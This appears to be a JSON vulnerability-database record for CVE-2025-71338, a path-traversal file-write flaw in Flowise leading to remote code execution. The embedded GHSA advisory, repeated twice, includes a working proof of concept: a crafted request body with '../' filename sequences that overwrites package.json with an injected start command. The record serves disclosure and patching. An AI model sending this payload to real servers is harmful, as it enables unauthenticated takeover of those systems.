{"id":"CVE-2025-71338","aliases":["EUVD-2025-210343","GHSA-8vvx-qvq9-5948","GHSA-c3hj-m5hq-59xw"],"status":"published","title":"Flowise through 2.2.7 - Arbitrary File Write to Remote Code Execution via document-store API","description":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","severity":{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01157,"percentile":0.67508,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":false},"cwes":["CWE-73","CWE-94"],"published":"2025-03-14T18:48:44Z","modified":"2026-11-03T17:45:09Z","exploits":[{"source":"pocgithub","id":"majpuV/flowise-arbitrary-file-read-getFileFromStorage","title":"majpuV/flowise-arbitrary-file-read-getFileFromStorage","date":"2026-08-03","url":"https://github.com/majpuV/flowise-arbitrary-file-read-getFileFromStorage"}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.2.7"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.2.7"}]}]}],"products":[{"vendor":"flowise","product":"flowise"},{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%402.2.7-patch.1","tags":["release-notes","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/flowise-arbitrary-file-write-to-remote-code-execution-via-document-store-api","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71338","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8vvx-qvq9-5948"},{"url":"https://github.com/advisories/GHSA-c3hj-m5hq-59xw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71338.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71338","title":"Flowise through 2.2.7 - Arbitrary File Write to Remote Code Execution via document-store API","description":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","status":"published","published":"2026-06-25T21:41:07.495Z","modified":"2026-09-17T18:57:19.542Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:32:43.10004Z"}],"euvd":[{"id":"EUVD-2025-210343","description":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","status":"published","published":"2026-06-25T21:41:07Z","modified":"2026-09-17T18:57:19Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:28:10.38936Z"}],"ghsa":[{"id":"GHSA-8vvx-qvq9-5948","title":"Flowise allows arbitrary file write to RCE","description":"### Summary\nAn attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API.\nAn attacker can reach RCE(Remote Code Execution) via file writing.\n\n### Details\nAll file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.\n- addBase64FilesToStorage\n- addArrayFilesToStorage\n- addSingleFileToStorage\n\nThe fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.\n```javascript\nconst filePath = path.join(dir, fileName)\nfs.writeFileSync(filePath, bf)\n```\nTherefore, users can move to the parent folder via `../` and write files to any path.\n\nOnce file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.\n\nIn PoC (Proof of Concept), RCE was reached by overwriting package.json.\n\n### PoC\nIn PoC, `package.json` is overwritten.\nThis is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value.\n\n**- original start command**\n````\n\"start\": \"run-script-os\",\n````\n\n**- modify start command**\n````\n\"start\": \"touch /tmp/pyozzi-poc \u0026\u0026 run-script-os\",\n````\n\nWhen a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path.\n\n#### 1. package.json content base64 encoding\n```json\n{\n    \"name\": \"flowise\",\n    \"version\": \"1.8.2\",\n    \"private\": true,\n    \"homepage\": \"https://flowiseai.com\",\n    \"workspaces\": [\n        \"packages/*\",\n        \"flowise\",\n        \"ui\",\n        \"components\"\n    ],\n    \"scripts\": {\n        \"build\": \"turbo run build \u0026\u0026 echo poc\",\n        \"build-force\": \"pnpm clean \u0026\u0026 turbo run build --force\",\n        \"dev\": \"turbo run dev --parallel\",\n        \"start\": \"touch /tmp/pyozzi-poc \u0026\u0026 run-script-os\", --\u003e modify (add touch /tmp/pyozzi \u0026\u0026)\n        \"start:windows\": \"cd packages/server/bin \u0026\u0026 run start\",\n        \"start:default\": \"cd packages/server/bin \u0026\u0026 ./run start\",\n        \"clean\": \"pnpm --filter \\\"./packages/**\\\" clean\",\n        \"nuke\": \"pnpm --filter \\\"./packages/**\\\" nuke \u0026\u0026 rimraf node_modules .turbo\",\n        \"format\": \"prettier --write \\\"**/*.{ts,tsx,md}\\\"\",\n        \"lint\": \"eslint \\\"**/*.{js,jsx,ts,tsx,json,md}\\\"\",\n        \"lint-fix\": \"pnpm lint --fix\",\n        \"quick\": \"pretty-quick --staged\",\n        \"postinstall\": \"husky install\",\n        \"migration:create\": \"pnpm typeorm migration:create\"\n    }, ... skip\n```\n\n#### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process`\n\u003cimg width=\"1329\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500\"\u003e\n\n\u003e **Request Body**\n```json\n{\n    \"loaderId\": \"textFile\",\n    \"storeId\": \"c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb\",\n    \"loaderName\": \"Text File\",\n    \"loaderConfig\": {\n        \"txtFile\": \"data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json\",\n        \"textSplitter\": \"\",\n        \"metadata\": \"\",\n        \"omitMetadataKeys\": \"\"\n    }\n}\n```\nThe part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function.\nAdd `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path.\n\n\u003cimg width=\"663\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02\"\u003e\n\nAfterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`)\n\n**- starting server with `touch /tmp/pyozzi-poc` command**\n\u003cimg width=\"737\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3\"\u003e\n\n**- `/tmp/pyozzi-poc` file created**\n\u003cimg width=\"751\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087\"\u003e\n\n\n### Impact\n**Remote Code Execution (RCE)**\nAlthough it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.","status":"published","published":"2025-03-14T18:48:44Z","modified":"2026-11-03T17:36:57Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-73","CWE-94"],"updated_at":"2026-11-03T17:59:55.458475Z"},{"id":"GHSA-c3hj-m5hq-59xw","title":"Duplicate Advisory : Flowise allows arbitrary file write to RCE","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8vvx-qvq9-5948. This link is maintained to preserve external references.\n\n### Original Description\n\nFlowise contains a path traversal vulnerability in the /api/v1/document-store/loader/process endpoint that allows unauthenticated attackers to write arbitrary files to the filesystem. Attackers can exploit unsanitized fileName parameters with ../ sequences to overwrite critical files like package.json and achieve remote code execution when the application restarts.","status":"withdrawn","published":"2026-06-26T00:32:05Z","modified":"2026-11-03T17:36:50Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-73"],"updated_at":"2026-11-03T17:59:55.458475Z"}],"nvd":[{"id":"CVE-2025-71338","description":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","status":"published","published":"2026-06-25T22:16:59.52Z","modified":"2026-10-12T21:10:00.227Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71338","title":"Flowise through 2.2.7 - Arbitrary File Write to Remote Code Execution via document-store API","description":"Flowise through 2.2.7 fails to sanitize path segments in the document-store loader endpoint, allowing unauthenticated attackers to write files outside the storage directory. Attackers can use parent-directory sequences to escape the storage directory and overwrite application files loaded at boot for remote code execution.","status":"published","published":"2026-06-25T21:41:07.495Z","modified":"2026-10-28T02:30:30.394245826Z","cvss":[{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:44:53.185592Z"},{"id":"GHSA-8vvx-qvq9-5948","title":"Flowise allows arbitrary file write to RCE","description":"### Summary\nAn attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API.\nAn attacker can reach RCE(Remote Code Execution) via file writing.\n\n### Details\nAll file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.\n- addBase64FilesToStorage\n- addArrayFilesToStorage\n- addSingleFileToStorage\n\nThe fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.\n```javascript\nconst filePath = path.join(dir, fileName)\nfs.writeFileSync(filePath, bf)\n```\nTherefore, users can move to the parent folder via `../` and write files to any path.\n\nOnce file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.\n\nIn PoC (Proof of Concept), RCE was reached by overwriting package.json.\n\n### PoC\nIn PoC, `package.json` is overwritten.\nThis is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value.\n\n**- original start command**\n````\n\"start\": \"run-script-os\",\n````\n\n**- modify start command**\n````\n\"start\": \"touch /tmp/pyozzi-poc \u0026\u0026 run-script-os\",\n````\n\nWhen a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path.\n\n#### 1. package.json content base64 encoding\n```json\n{\n    \"name\": \"flowise\",\n    \"version\": \"1.8.2\",\n    \"private\": true,\n    \"homepage\": \"https://flowiseai.com\",\n    \"workspaces\": [\n        \"packages/*\",\n        \"flowise\",\n        \"ui\",\n        \"components\"\n    ],\n    \"scripts\": {\n        \"build\": \"turbo run build \u0026\u0026 echo poc\",\n        \"build-force\": \"pnpm clean \u0026\u0026 turbo run build --force\",\n        \"dev\": \"turbo run dev --parallel\",\n        \"start\": \"touch /tmp/pyozzi-poc \u0026\u0026 run-script-os\", --\u003e modify (add touch /tmp/pyozzi \u0026\u0026)\n        \"start:windows\": \"cd packages/server/bin \u0026\u0026 run start\",\n        \"start:default\": \"cd packages/server/bin \u0026\u0026 ./run start\",\n        \"clean\": \"pnpm --filter \\\"./packages/**\\\" clean\",\n        \"nuke\": \"pnpm --filter \\\"./packages/**\\\" nuke \u0026\u0026 rimraf node_modules .turbo\",\n        \"format\": \"prettier --write \\\"**/*.{ts,tsx,md}\\\"\",\n        \"lint\": \"eslint \\\"**/*.{js,jsx,ts,tsx,json,md}\\\"\",\n        \"lint-fix\": \"pnpm lint --fix\",\n        \"quick\": \"pretty-quick --staged\",\n        \"postinstall\": \"husky install\",\n        \"migration:create\": \"pnpm typeorm migration:create\"\n    }, ... skip\n```\n\n#### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process`\n\u003cimg width=\"1329\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500\"\u003e\n\n\u003e **Request Body**\n```json\n{\n    \"loaderId\": \"textFile\",\n    \"storeId\": \"c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb\",\n    \"loaderName\": \"Text File\",\n    \"loaderConfig\": {\n        \"txtFile\": \"data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json\",\n        \"textSplitter\": \"\",\n        \"metadata\": \"\",\n        \"omitMetadataKeys\": \"\"\n    }\n}\n```\nThe part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function.\nAdd `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path.\n\n\u003cimg width=\"663\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02\"\u003e\n\nAfterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`)\n\n**- starting server with `touch /tmp/pyozzi-poc` command**\n\u003cimg width=\"737\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3\"\u003e\n\n**- `/tmp/pyozzi-poc` file created**\n\u003cimg width=\"751\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087\"\u003e\n\n\n### Impact\n**Remote Code Execution (RCE)**\nAlthough it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.","status":"published","published":"2025-03-14T18:48:44Z","modified":"2026-11-03T17:45:09.807585692Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-73","CWE-94"],"updated_at":"2026-11-03T18:00:11.308756Z"},{"id":"GHSA-c3hj-m5hq-59xw","title":"Duplicate Advisory : Flowise allows arbitrary file write to RCE","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8vvx-qvq9-5948. This link is maintained to preserve external references.\n\n### Original Description\n\nFlowise contains a path traversal vulnerability in the /api/v1/document-store/loader/process endpoint that allows unauthenticated attackers to write arbitrary files to the filesystem. Attackers can exploit unsanitized fileName parameters with ../ sequences to overwrite critical files like package.json and achieve remote code execution when the application restarts.","status":"withdrawn","published":"2026-06-26T00:32:05Z","modified":"2026-11-03T17:45:08.808733373Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-73"],"updated_at":"2026-11-03T18:00:11.308756Z"}]}}